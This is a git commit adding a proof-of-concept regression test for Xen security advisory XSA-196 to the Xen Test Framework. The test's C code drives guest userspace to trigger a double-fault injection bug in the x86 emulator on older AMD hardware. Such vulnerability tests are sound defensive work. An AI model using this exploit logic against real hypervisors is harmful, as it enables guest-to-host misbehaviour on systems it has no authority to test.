From: Andrew Cooper Date: Thu, 27 Oct 2016 10:33:32 +0000 (+0100) Subject: XSA-196 PoC X-Git-Url: http://xenbits.xensource.com/gitweb?a=commitdiff_plain;h=1f021c88130b4d2d818ba4f269b3929339c00a88;p=people%2Fandrewcoop%2Fxen-test-framework.git XSA-196 PoC Signed-off-by: Andrew Cooper --- diff --git a/docs/all-tests.dox b/docs/all-tests.dox index f38372b..e0d8974 100644 --- a/docs/all-tests.dox +++ b/docs/all-tests.dox @@ -75,6 +75,8 @@ address checks. @subpage test-xsa-195 - x86: 64-bit bit test instruction emulation broken. +@subpage test-xsa-196 - x86: Software interrupt injection mis-handled. + @section index-utility Utilities diff --git a/tests/xsa-196/Makefile b/tests/xsa-196/Makefile new file mode 100644 index 0000000..a5f3698 --- /dev/null +++ b/tests/xsa-196/Makefile @@ -0,0 +1,9 @@ +include $(ROOT)/build/common.mk + +NAME := xsa-196 +CATEGORY := xsa +TEST-ENVS := hvm64 + +obj-perenv += main.o + +include $(ROOT)/build/gen.mk diff --git a/tests/xsa-196/main.c b/tests/xsa-196/main.c new file mode 100644 index 0000000..6649c52 --- /dev/null +++ b/tests/xsa-196/main.c @@ -0,0 +1,119 @@ +/** + * @file tests/xsa-196/main.c + * @ref test-xsa-196 + * + * @page test-xsa-196 XSA-196 + * + * Advisory: [XSA-196](http://xenbits.xen.org/xsa/advisory-xsa-196.html) + * + * Xen change [36ebf14ebe](http://xenbits.xen.org/gitweb/ + * ?p=xen.git;a=commitdiff;h=36ebf14ebe60310aa22952cbb94de951c158437d) + * contained a bug when calculating the correct size of an IDT entry. + * + * This means that a 16 or 32bit code segment running under a 64bit kernel + * will cause the x86 emulator to look at the wrong location in the IDT when + * performing the DPL/Presence checks. As @#OF is typically a DPL3 + * descriptor, guest userspace can end up invoking @#DF, reserved for a + * critical malfunction. + * + * This vulnerability is restricted to AMD Hardware lacking NRip support. + * More modern AMD hardware, and all Intel hardware bypass the buggy logic in + * Xen. + * + * @see tests/xsa-196/main.c + */ +#include + +#include +#include +#include +#include + +const char test_title[] = "XSA-196 PoC"; + +bool test_wants_user_mappings = true; +bool test_needs_fep = true; + +void custom_doublefault_handler(void); +asm(".align 16;" + "custom_doublefault_handler:" + /* Fake up "return EXINFO_SYM(DF, 0);" */ + "mov $(1 << 31 | " STR(X86_EXC_DF) " << 16), %eax;" + "iretq;" + ); + +unsigned long compat_userspace(void) +{ + exinfo_t fault = 0; + + asm volatile (/* Drop into a 32bit compat code segment. */ + "push $%c[cs32];" + "push $1f;" + "lretq; 1:" + + /* Force `int $8` through the emulator. */ + ".code32;" + "start_32bit:;" + _ASM_XEN_FEP + "1: int $%c[df]; 2:" + _ASM_EXTABLE_HANDLER(1b, 2b, ex_record_fault_eax) + + /* Return to 64bit. */ + "ljmpl $%c[cs], $1f;" + "end_32bit:;" + + ".code64; 1:" + : "+a" (fault) + : [df] "i" (X86_EXC_DF), + [cs32] "i" (GDTE_CS32_DPL3 * 8 + 3), + [cs] "i" (__USER_CS)); + + return fault; +} + +void test_main(void) +{ + /* + * Sanity check the preconditions for this PoC working. These settings + * are very common. + */ + ASSERT(idt[X86_EXC_OF].dpl == 3); + ASSERT(idt[X86_EXC_DF].dpl == 0); + + struct xtf_idte idte = + { + .addr = (unsigned long)custom_doublefault_handler, + .cs = __KERN_CS, + .dpl = 0, + }; + + /* Hook the custom doublefault handler. */ + xtf_set_idte(X86_EXC_DF, &idte); + + exinfo_t fault = exec_user(compat_userspace); + + switch ( fault ) + { + case EXINFO_SYM(GP, EXC_EC_SYM(DF, IDT)): + xtf_success("Success: #DF DPL was checked correctly\n"); + break; + + case EXINFO_SYM(DF, 0): + xtf_failure("Fail: Userspace managed to invoke #DF\n"); + break; + + default: + xtf_error("Error: Unexpected fault %#x\n", fault); + break; + } +} + +/* + * Local variables: + * mode: C + * c-file-style: "BSD" + * c-basic-offset: 4 + * tab-width: 4 + * indent-tabs-mode: nil + * End: + */